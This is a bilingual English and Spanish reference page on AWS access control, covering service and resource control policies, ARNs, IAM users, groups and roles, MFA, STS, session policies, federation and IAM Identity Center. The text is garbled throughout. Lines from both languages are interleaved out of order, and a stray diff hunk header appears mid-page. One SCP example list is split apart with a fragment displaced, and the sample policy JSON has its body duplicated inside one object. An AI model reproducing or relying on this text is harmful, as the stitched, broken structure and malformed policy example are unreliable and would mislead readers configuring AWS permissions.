Una **service control policy (SCP)** es una política que especifica los servicios y acciones que los usuarios y roles pueden usar en las cuentas que la SCP afecta. Las SCP son **similares a las políticas de permisos de IAM** excepto que **no otorgan ningún permiso**. En cambio, las SCP especifican los **permisos máximos** para una organización, unidad organizativa (OU) o cuenta. Cuando adjuntas una SCP a la raíz de tu organización o a una OU, la **SCP limita los permisos para las entidades en las cuentas miembros**.
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
Esta es la ÚNICA forma en que **incluso el usuario raíz puede ser detenido** de hacer algo. Por ejemplo, podría usarse para evitar que los usuarios desactiven CloudTrail o eliminen copias de seguridad.\
La única forma de eludir esto es comprometer también la **cuenta maestra** que configura las SCP (la cuenta maestra no puede ser bloqueada).
> [!WARNING]
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
> Ten en cuenta que **las SCP solo restringen a los principales en la cuenta**, por lo que otras cuentas no se ven afectadas. Esto significa que tener una SCP que niegue `s3:GetObject` no detendrá a las personas de **acceder a un bucket S3 público** en tu cuenta.
SCP examples:
Ejemplos de SCP:
- Deny the root account entirely
- Only allow specific regions
- Only allow white-listed services
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
- Negar completamente la cuenta raíz
- Solo permitir regiones específicas
- Solo permitir servicios en la lista blanca
- Negar que GuardDuty, CloudTrail y S3 Public Block Access sean desactivados
- Negar que roles de seguridad/respuesta a incidentes sean eliminados o modificados.
- Negar que las copias de seguridad sean eliminadas.
- Negar la creación de usuarios IAM y claves de acceso
being disabled
- Deny security/incident response roles from being deleted or
modified.
- Deny backups from being deleted.
- Deny creating IAM users and access keys
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
Encuentra **ejemplos JSON** en [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
### Resource Control Policy (RCP)
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **dont grant permissions**they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
Una **resource control policy (RCP)** es una política que define los **permisos máximos para los recursos dentro de tu organización AWS**. Las RCP son similares a las políticas de IAM en sintaxis pero **no otorgan permisos**solo limitan los permisos que pueden aplicarse a los recursos por otras políticas. Cuando adjuntas una RCP a la raíz de tu organización, a una unidad organizativa (OU) o a una cuenta, la RCP limita los permisos de recursos en todos los recursos dentro del alcance afectado.
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organizations management account.
Esta es la ÚNICA forma de asegurar que **los recursos no pueden exceder los niveles de acceso predefinidos**—incluso si una política basada en identidad o en recursos es demasiado permisiva. La única forma de eludir estos límites es también modificar la RCP configurada por la cuenta de gestión de tu organización.
> [!WARNING]
> RCPs only restrict the permissions that resources can have. They dont directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the buckets permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
> Las RCP solo restringen los permisos que los recursos pueden tener. No controlan directamente lo que los principales pueden hacer. Por ejemplo, si una RCP niega el acceso externo a un bucket S3, asegura que los permisos del bucket nunca permitan acciones más allá del límite establecido—incluso si una política basada en recursos está mal configurada.
RCP examples:
Ejemplos de RCP:
- Restrict S3 buckets so they can only be accessed by principals within your organization
- Limit KMS key usage to only allow operations from trusted organizational accounts
- Cap permissions on SQS queues to prevent unauthorized modifications
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
- Restringir los buckets S3 para que solo puedan ser accedidos por principales dentro de tu organización
- Limitar el uso de claves KMS para permitir solo operaciones de cuentas organizativas de confianza
- Limitar permisos en colas SQS para prevenir modificaciones no autorizadas
- Hacer cumplir límites de acceso en secretos de Secrets Manager para proteger datos sensibles
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
Encuentra ejemplos en [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
### ARN
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
**Amazon Resource Name** es el **nombre único** que tiene cada recurso dentro de AWS, se compone así:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
Note that there are 4 partitions in AWS but only 3 ways to call them:
Note que hay 4 particiones en AWS pero solo 3 formas de llamarlas:
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -106,246 +94,240 @@ Note that there are 4 partitions in AWS but only 3 ways to call them:
## IAM - Identity and Access Management
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
IAM es el servicio que te permitirá gestionar **Autenticación**, **Autorización** y **Control de Acceso** dentro de tu cuenta de AWS.
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
- **Access Control** - The method and process of how access is granted to a secure resource
- **Autenticación** - Proceso de definir una identidad y la verificación de esa identidad. Este proceso se puede subdividir en: Identificación y verificación.
- **Autorización** - Determina a qué puede acceder una identidad dentro de un sistema una vez que ha sido autenticada.
- **Control de Acceso** - El método y proceso de cómo se concede acceso a un recurso seguro.
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
IAM se puede definir por su capacidad para gestionar, controlar y gobernar los mecanismos de autenticación, autorización y control de acceso de identidades a tus recursos dentro de tu cuenta de AWS.
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
Cuando creas por primera vez una cuenta de Amazon Web Services (AWS), comienzas con una única identidad de inicio de sesión que tiene **acceso completo a todos** los servicios y recursos de AWS en la cuenta. Este es el _**usuario raíz**_ de la cuenta de AWS y se accede iniciando sesión con la **dirección de correo electrónico y la contraseña que utilizaste para crear la cuenta**.
Note that a new **admin user** will have **less permissions that the root user**.
Ten en cuenta que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**.
From a security point of view, it's recommended to create other users and avoid using this one.
Desde el punto de vista de la seguridad, se recomienda crear otros usuarios y evitar usar este.
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
Un _usuario_ de IAM es una entidad que creas en AWS para **representar a la persona o aplicación** que lo utiliza para **interactuar con AWS**. Un usuario en AWS consiste en un nombre y credenciales (contraseña y hasta dos claves de acceso).
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
Cuando creas un usuario de IAM, le otorgas **permisos** haciéndolo **miembro de un grupo de usuarios** que tiene políticas de permisos apropiadas adjuntas (recomendado), o **adjuntando políticas directamente** al usuario.
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
Los usuarios pueden tener **MFA habilitado para iniciar sesión** a través de la consola. Los tokens API de los usuarios con MFA habilitado no están protegidos por MFA. Si deseas **restringir el acceso de las claves API de un usuario usando MFA**, necesitas indicar en la política que para realizar ciertas acciones se necesita que MFA esté presente (ejemplo [**aquí**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
- **Access Key ID**: 20 caracteres alfanuméricos aleatorios en mayúsculas como AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 caracteres aleatorios en mayúsculas y minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (No es posible recuperar los IDs de claves de acceso secretas perdidas).
Whenever you need to **change the Access Key** this is the process you should follow:\
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
Siempre que necesites **cambiar la Clave de Acceso**, este es el proceso que debes seguir:\
_Crear una nueva clave de acceso -> Aplicar la nueva clave al sistema/aplicación -> marcar la original como inactiva -> Probar y verificar que la nueva clave de acceso funciona -> Eliminar la antigua clave de acceso_
### MFA - Multi Factor Authentication
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
Se utiliza para **crear un factor adicional para la autenticación** además de tus métodos existentes, como la contraseña, creando así un nivel de autenticación multifactor.\
Puedes usar una **aplicación virtual gratuita o un dispositivo físico**. Puedes usar aplicaciones como Google Authenticator de forma gratuita para activar un MFA en AWS.
Policies with MFA conditions can be attached to the following:
Las políticas con condiciones de MFA se pueden adjuntar a lo siguiente:
- An IAM user or group
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
- The trust policy of an IAM role that can be assumed by a user
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
Note that **`AssumeRole` credentials don't contain this information**.
- Un usuario o grupo de IAM
- Un recurso como un bucket de Amazon S3, una cola de Amazon SQS o un tema de Amazon SNS
- La política de confianza de un rol de IAM que puede ser asumido por un usuario
Si deseas **acceder a través de CLI** a un recurso que **verifica MFA**, necesitas llamar a **`GetSessionToken`**. Eso te dará un token con información sobre MFA.\
Ten en cuenta que las credenciales de **`AssumeRole` no contienen esta información**.
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
Como [**se indica aquí**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), hay muchos casos diferentes en los que **MFA no se puede usar**.
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
### [Grupos de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
Un [grupo de usuarios](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) de IAM es una forma de **adjuntar políticas a múltiples usuarios** a la vez, lo que puede facilitar la gestión de los permisos para esos usuarios. **Los roles y grupos no pueden ser parte de un grupo**.
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
Puedes adjuntar una **política basada en identidad a un grupo de usuarios** para que todos los **usuarios** en el grupo de usuarios **reciban los permisos de la política**. No **puedes** identificar un **grupo de usuarios** como un **`Principal`** en una **política** (como una política basada en recursos) porque los grupos se relacionan con permisos, no con autenticación, y los principales son entidades IAM autenticadas.
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
Aquí hay algunas características importantes de los grupos de usuarios:
Here are some important characteristics of user groups:
- Un **grupo** de usuarios puede **contener muchos usuarios**, y un **usuario** puede **pertenecer a múltiples grupos**.
- **Los grupos de usuarios no pueden estar anidados**; solo pueden contener usuarios, no otros grupos de usuarios.
- No hay **un grupo de usuarios predeterminado que incluya automáticamente a todos los usuarios en la cuenta de AWS**. Si deseas tener un grupo de usuarios así, debes crearlo y asignar a cada nuevo usuario a él.
- El número y tamaño de los recursos de IAM en una cuenta de AWS, como el número de grupos y el número de grupos de los que un usuario puede ser miembro, son limitados. Para más información, consulta [cuotas de IAM y AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
- **User groups can't be nested**; they can contain only users, not other user groups.
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [Roles de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adquirir diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM.
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
Un rol de IAM consta de **dos tipos de políticas**: una **política de confianza**, que no puede estar vacía, que define **quién puede asumir** el rol, y una **política de permisos**, que no puede estar vacía, que define **a qué puede acceder**.
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
#### Servicio de Token de Seguridad de AWS (STS)
#### AWS Security Token Service (STS)
El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita la **emisión de credenciales temporales de privilegios limitados**. Está específicamente diseñado para:
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
### [Credenciales temporales en IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
Las **credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario de IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas.
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
### Políticas
### Policies
#### Permisos de Políticas
#### Policy Permissions
Se utilizan para asignar permisos. Hay 2 tipos:
Are used to assign permissions. There are 2 types:
- AWS managed policies (preconfigured by AWS)
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
- Políticas administradas por AWS (preconfiguradas por AWS)
- Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya propia), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia.
Por **defecto, el acceso** es **denegado**, el acceso se otorgará si se ha especificado un rol explícito.\
Si **existe un "Deny" único, anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto).
```javascript
{
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
}
```
Los [campos globales que se pueden usar para condiciones en cualquier servicio están documentados aquí](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
Los [campos específicos que se pueden usar para condiciones por servicio están documentados aquí](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### Políticas en línea
#### Inline Policies
Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que cualquier otro puede usarlas.\
Las políticas en línea son útiles si deseas **mantener una relación estricta uno a uno entre una política y la identidad** a la que se aplica. Por ejemplo, quieres asegurarte de que los permisos en una política no se asignen inadvertidamente a una identidad diferente de la que están destinados. Cuando usas una política en línea, los permisos en la política no pueden ser adjuntados inadvertidamente a la identidad incorrecta. Además, cuando usas la Consola de Administración de AWS para eliminar esa identidad, las políticas incrustadas en la identidad también se eliminan. Eso es porque son parte de la entidad principal.
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
#### Políticas de Bucket de Recursos
#### Resource Bucket Policies
Estas son **políticas** que se pueden definir en **recursos**. **No todos los recursos de AWS las soportan**.
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
Si un principal no tiene una denegación explícita sobre ellos, y una política de recurso les otorga acceso, entonces se les permite.
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
### Límites de IAM
### IAM Boundaries
Los límites de IAM se pueden usar para **limitar los permisos a los que un usuario o rol debería tener acceso**. De esta manera, incluso si se otorgan un conjunto diferente de permisos al usuario por una **política diferente**, la operación **fallará** si intenta usarlos.
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
Un límite es solo una política adjunta a un usuario que **indica el nivel máximo de permisos que el usuario o rol puede tener**. Así que, **incluso si el usuario tiene acceso de Administrador**, si el límite indica que solo puede leer buckets S·, ese es el máximo que puede hacer.
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
**Esto**, **SCPs** y **seguir el principio de menor privilegio** son las formas de controlar que los usuarios no tengan más permisos de los que necesitan.
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
### Políticas de Sesión
### Session Policies
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
Una política de sesión es una **política establecida cuando se asume un rol** de alguna manera. Esto será como un **límite de IAM para esa sesión**: Esto significa que la política de sesión no otorga permisos, sino que **los restringe a los indicados en la política** (siendo los permisos máximos los que tiene el rol).
Esto es útil para **medidas de seguridad**: Cuando un administrador va a asumir un rol muy privilegiado, podría restringir el permiso solo a los indicados en la política de sesión en caso de que la sesión se vea comprometida.
```bash
aws sts assume-role \
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
Nota que por defecto **AWS puede agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Por lo tanto, si en algún momento te enfrentas al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**.
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
### Federación de Identidad
### Identity Federation
La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a los recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta IAM válida.\
Un ejemplo de un proveedor de identidad puede ser tu propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá a los usuarios dentro de él acceder a AWS.
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
Para configurar esta confianza, se genera un **Proveedor de Identidad IAM (SAML u OAuth)** que **confiará** en la **otra plataforma**. Luego, al menos un **rol IAM es asignado (confiando) al Proveedor de Identidad**. Si un usuario de la plataforma de confianza accede a AWS, lo hará como el rol mencionado.
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
Sin embargo, generalmente querrás dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### IAM Identity Center
### Centro de Identidad IAM
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
AWS IAM Identity Center (sucesor de AWS Single Sign-On) amplía las capacidades de AWS Identity and Access Management (IAM) para proporcionar un **lugar central** que reúne la **administración de usuarios y su acceso a cuentas de AWS** y aplicaciones en la nube.
The login domain is going to be something like `<user_input>.awsapps.com`.
El dominio de inicio de sesión será algo como `<user_input>.awsapps.com`.
To login users, there are 3 identity sources that can be used:
Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden usar:
- Identity Center Directory: Regular AWS users
- Active Directory: Supports different connectors
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
- Directorio del Centro de Identidad: Usuarios regulares de AWS
- Active Directory: Soporta diferentes conectores
- Proveedor de Identidad Externo: Todos los usuarios y grupos provienen de un Proveedor de Identidad externo (IdP)
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
En el caso más simple del directorio del Centro de Identidad, el **Centro de Identidad tendrá una lista de usuarios y grupos** y podrá **asignar políticas** a ellos para **cualquiera de las cuentas** de la organización.
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
Para dar acceso a un usuario/grupo del Centro de Identidad a una cuenta, se **creará un Proveedor de Identidad SAML que confíe en el Centro de Identidad**, y se **creará un rol que confíe en el Proveedor de Identidad con las políticas indicadas** en la cuenta de destino.
#### AwsSSOInlinePolicy
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
Es posible **dar permisos a través de políticas en línea a roles creados a través del Centro de Identidad IAM**. Los roles creados en las cuentas que se les dan **políticas en línea en AWS Identity Center** tendrán estos permisos en una política en línea llamada **`AwsSSOInlinePolicy`**.
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
Por lo tanto, incluso si ves 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**.
### Cross Account Trusts and Roles
### Confianzas y Roles entre Cuentas
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, solo crea un nuevo Rol y selecciona Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posees, y proporcionar acceso entre una cuenta que posees y una cuenta de AWS de terceros.\
Se recomienda **especificar el usuario que es confiado y no poner algo genérico** porque si no, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza.
### AWS Simple AD
Not supported:
No soportado:
- Trust Relations
- AD Admin Center
- Full PS API support
- AD Recycle Bin
- Group Managed Service Accounts
- Schema Extensions
- No Direct access to OS or Instances
- Relaciones de Confianza
- Centro de Administración de AD
- Soporte completo de API de PS
- Papelera de reciclaje de AD
- Cuentas de Servicio Administradas por Grupo
- Extensiones de Esquema
- Sin acceso directo a OS o Instancias
#### Web Federation or OpenID Authentication
#### Federación Web o Autenticación OpenID
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
La aplicación utiliza AssumeRoleWithWebIdentity para crear credenciales temporales. Sin embargo, esto no otorga acceso a la consola de AWS, solo acceso a recursos dentro de AWS.
### Other IAM options
### Otras opciones de IAM
- You can **set a password policy setting** options like minimum length and password requirements.
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
- Puedes **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña.
- Puedes **descargar "Informe de Credenciales"** con información sobre las credenciales actuales (como el tiempo de creación del usuario, si la contraseña está habilitada...). Puedes generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**.
